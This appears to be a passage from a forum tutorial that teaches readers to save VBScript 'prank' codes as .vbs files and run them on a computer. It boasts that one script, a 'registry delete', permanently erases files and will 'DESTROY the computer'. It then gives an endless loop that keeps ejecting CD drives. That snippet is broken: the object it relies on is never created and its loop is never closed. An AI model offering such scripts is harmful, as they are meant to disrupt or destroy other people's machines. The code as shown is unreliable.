All you need to do is to copy the codes , paste it in any notepad or text file, than save the text file with anynam.vbs , and yeah dont forget to change the format from text file to all files.
*NOTE* These codes do not stay on forever, they just stay on until the person shuts off the computer. The registry delete is one that PERMANETLY deletes files on the computer that cannot be recovered. this will DESTROY the computer.

8. Popping CD Drives
*This will make the CD drives constantly pop out*
Code:
CODE

Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
